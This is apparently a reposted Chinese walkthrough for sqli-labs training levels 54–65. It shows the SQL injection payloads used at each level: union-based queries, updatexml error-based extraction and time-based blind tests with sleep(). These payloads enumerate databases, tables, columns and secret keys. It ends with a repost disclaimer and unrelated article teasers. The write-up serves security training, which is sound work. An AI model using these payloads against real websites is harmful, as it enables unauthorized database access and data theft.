以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】

【Less-54】

与前面的题目不同是,这里只能提交10次,一旦提交超过十次,数据会重新刷新,所有的步骤需要重来一次。

解题步骤:

根据测试,使用的是单引号闭合。

# 判断字段的数量
?id=1' order by 3 -- aaa

# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa  

# 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa 

最后把获取到的Key值放入输入框中提交,通关。

【Less-55】

通过测试,使用的是括号闭合。

解题步骤:

# 判断字段的数量
?id=1) order by 3 -- aaa

# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa  

# 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa 

【Less-56】

与上面两题类似,只是闭合的类型不同,采用的是单引号括号的方式。

解题步骤和上面基本一致,如下:

# 判断字段的数量
?id=1') order by 3 -- aaa

# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa  

# 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa 

【Less-57】

同样类型的题目,与之前的几题基本一样,只是闭合采用的是双引号

解题步骤:

# 判断字段的数量
?id=1" order by 3 -- aaa

# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa  

# 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa 

【Less-58】

通过测试,使用的是单引号闭合。

解题过程和之前的集体类似,只是没有回显信息,解题步骤如下:


# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa

【Less-59】

与Less-58基本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。

# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) 

# 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) 

# 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)

# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)

【Less-60】

与上题类似,闭合使用的是双引号括号。

解题步骤:


# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

【Less-61】

经过测试,本题的闭合方式为单引号加两个括号

解题步骤:


# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

【Less-62】

此题的闭合方式为单引号加括号,与之前题目不同的是,此题没有显错,采用盲注的方式解题。

解题步骤:

# 获取数据库的名字,长度为10
?id=1') and length(database())=10 -- aa

# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa




此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】

基本与Less-62一样,闭合是单引号闭合

 解题步骤:

# 获取数据库的名字,长度为10
?id=1' and length(database())=10 -- aa

# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-64】

基本与Less-63一样,闭合是两个括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1)) and length(database())=10 -- aa

# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-65】

基本与Less-63一样,闭合是双引号括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1") and length(database())=10 -- aa

# 获取数据库的名字
?id=1")  and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/691147.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

老黄一举揭秘三代GPU!打破摩尔定律,打造AI帝国,量产Blackwell解决ChatGPT全球耗电难题

近日,老黄手持Blackwell向全世界展示的那一刻,全场观众沸腾了。 这是迄今为止世界上最大的芯片! 用老黄的话来说,它是「全世界迄今为止制造出来的最复杂、性能最高的计算机。」GPT-4o深夜发布!Plus免费可用&#xff01…

五分钟上手IoT小程序

五分钟上手IoT小程序 IoT小程序框架搭建开发环境首先安装NodeJs安装NodeJs验证安装成功 安装cnpm 安装VSCode 开发IDE下载开发IDE安装开发IDE安装框架脚手架 下载模拟器创建工程项目应用编译(打包构建) VSCode 开发IDE安装插件通过开发插件创建工程编译工程debug编译编译太慢问…

《编译原理》期末考试复习手写笔记(二)+真题(第四、五、六章)+课后习题答案

第四章考试题型【自顶向下语法分析】 考点梳理: 1.语法分析程序的设计 2.确定的自顶向下分析思想2.1 FIRST集合 2.2 FOLLOW集合 2. 3 SELECT集合 2. 4 LL(1)文法 3.LL(1)文法的判别 如何消除左公因子? 如何消除左递归? 4.非LL(1)到LL(1)文法的等价变换 5.LL(1)分…

Llama模型家族之拒绝抽样(Rejection Sampling)(九) 强化学习之Rejection Sampling

LlaMA 3 系列博客 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (一) 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (二) 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (三) 基于 LlaMA…

【算法训练记录——Day27】

Day27——回溯算法Ⅲ 1.组合总和2.组合总和II3.分割回文串 内容 ● 39.组合总和 ● 40.组合总和II ● 131.分割回文串 1.组合总和 思路&#xff1a;和组合总和一样&#xff0c;先从candidates中遍历选择元素&#xff0c;但是纵向递归时所选择元素要包括当前元素 vector<int&…

Windows下 CLion中,配置 OpenCV、LibTorch

首先按照win下C部署深度学习模型之clion配置pytorchopencv教程记录 步骤配置。 LibTorch 部分 在测试LibTorch时会出现类似 c10.dll not found 的问题&#xff08;Debug才有&#xff09;&#xff1a; 参考C部署Pytorch&#xff08;Libtorch&#xff09;出现问题、错误汇总和 …

unity3d:GameFramework+xLua+Protobuf+lua-protobuf,生成.cs,.pb工具流

概述 1.区分lua&#xff0c;cs用的proto 2.proto生成cs&#xff0c;使用protogen.exe&#xff0c;通过csharp.xslt修改生成cs样式 3.proto生成lua加载.pb二进制文件&#xff0c;并生成.pb列表文件&#xff0c;用于初始化加载 4.协议id生成cs&#xff0c;lua中枚举 区分cs&…

107.网络游戏逆向分析与漏洞攻防-装备系统数据分析-装备信息更新的处理

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果 现在的代码都是依据数据包来写的&#xff0c;如果看不懂代码&#xff0c;就说明没看懂数据包…

DevOps在数字化转型中的作用——实现数字化可视性

DevOps 的出现是为了满足不断增长的市场和消费者对技术应用程序的需求。它旨在在不牺牲软件质量的情况下创建更快的开发环境。DevOps 还专注于在快速开发生命周期中提高软件的整体质量。它依赖于多种技术、平台和工具的组合来实现所有这些目标。 容器化是一项彻底改变了我们开发…

PostgreSQL基础(十):PostgreSQL的并发问题

文章目录 PostgreSQL的并发问题 一、事务的隔离级别 二、MVCC PostgreSQL的并发问题 一、事务的隔离级别 在不考虑隔离性的前提下&#xff0c;事务的并发可能会出现的问题&#xff1a; 脏读&#xff1a;读到了其他事务未提交的数据。&#xff08;必须避免这种情况&#xf…

所谓自律,就是去对抗那些廉价的快乐

所谓自律&#xff0c;就是去对抗那些廉价的快乐 以下文章来源于洞见 &#xff0c;作者洞见 导语 打败内心那只及时享乐的猴子。 董宇辉说过这样一句话&#xff1a;“廉价的快乐是直接给你想要的东西&#xff0c;高等的快乐则会给你设置重重阻碍。” 廉价的快乐&#xff0c;就…

Hack The Box-BoardLight

主机详情 hack the box&#xff1a; 端口扫描&#xff1a; 服务扫描&#xff1a; 对服务的漏洞查找&#xff1a; 基本一无所获&#xff0c;&#xff0c;找到个 2.4.49 的远程命令执行&#xff0c;尝试使用一下 不出意外的不能使用&#xff0c;&#xff0c; web页面&#xff1…

05--Git分布式版本控制系统

前言&#xff1a;给后端工程师使用的版本控制器&#xff0c;本质上类似带时间标记的ftp&#xff0c;使用比较简单&#xff0c;就在这里归纳出来&#xff0c;供参考学习。 git1、概念简介 分布式版本控制系统&#xff08;Distributed Version Control System&#xff0c;DVCS&…

Python cProfile 输出解析及其解决方案

cProfile 是 Python 中用于性能分析的内置模块&#xff0c;它可以帮助你确定程序中哪些部分消耗了最多的时间。通常&#xff0c;使用 cProfile 会输出大量的数据&#xff0c;需要进行解析和分析。下面是关于 cProfile 输出解析及其解决方案的一些提示&#xff1a; 1、问题背景 …

2024-06-08 Unity 编辑器开发之编辑器拓展9 —— EditorUtility

文章目录 1 准备工作2 提示窗口2.1 双键窗口2.2 三键窗口2.3 进度条窗口 3 文件面板3.1 存储文件3.2 选择文件夹3.3 打开文件3.4 打开文件夹 4 其他内容4.1 压缩纹理4.2 查找对象依赖项 1 准备工作 ​ 创建脚本 “Lesson38Window.cs” 脚本&#xff0c;并将其放在 Editor 文件…

力扣经典面试题-旋转链表(Java)

1.题目描述&#xff1a;给你一个链表的头节点 head &#xff0c;旋转链表&#xff0c;将链表每个节点向右移动 k 个位置。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5], k 2 输出&#xff1a;[4,5,1,2,3] 示例 2&#xff1a; 输入&#xff1a;head [0,1,2], k …

壁纸动态-Mac电脑-4K超高清[po破]动态壁纸[解]Dynamic WallPaper 安装使用教程

Mac分享吧 文章目录 效果一、准备工作二、开始安装1、双击运行软件&#xff0c;将其从左侧拖入右侧文件夹中&#xff0c;等待安装完毕2、应用程序显示软件图标&#xff0c;表示安装成功 三、运行调试1、打开软件&#xff0c;选择自己喜欢的壁纸2、调整设置&#xff0c;使多个壁…

消息队列笔记

异步技术 企业级应用中广泛使用的三种异步消息传递技术 原文链接&#xff1a;https://blog.csdn.net/qq_55917018/article/details/122122218 三种异步消息传递技术 JMS (java message service) 一个Java规范&#xff0c;等同于JDBC规范&#xff0c;提供了与消息服务相关的…

语法分析!!!

一、实验题目 根据给定文法编写调试预测分析程序&#xff0c;对任意输入串用预测分析法进行语法分析。 二、实验目的 加深对预测分析法的理解。 三、实验内容 四、实验代码 #include <iostream> #include <stdio.h> #include <string> #include <…

elasticsearch hanlp插件自定义分词配置(停用词)

[Toc](elasticsearch hanlp插件自定义分词配置(停用词)) 既然可以自定义关键词&#xff0c;那么自然也是可以自定义停用词的。 背景 由于在使用elasticsearch hanlp(以下简称es hanlp)的过程中&#xff0c;分词会出现一些无用的词&#xff0c;比如各种标点符号或者没有意义的…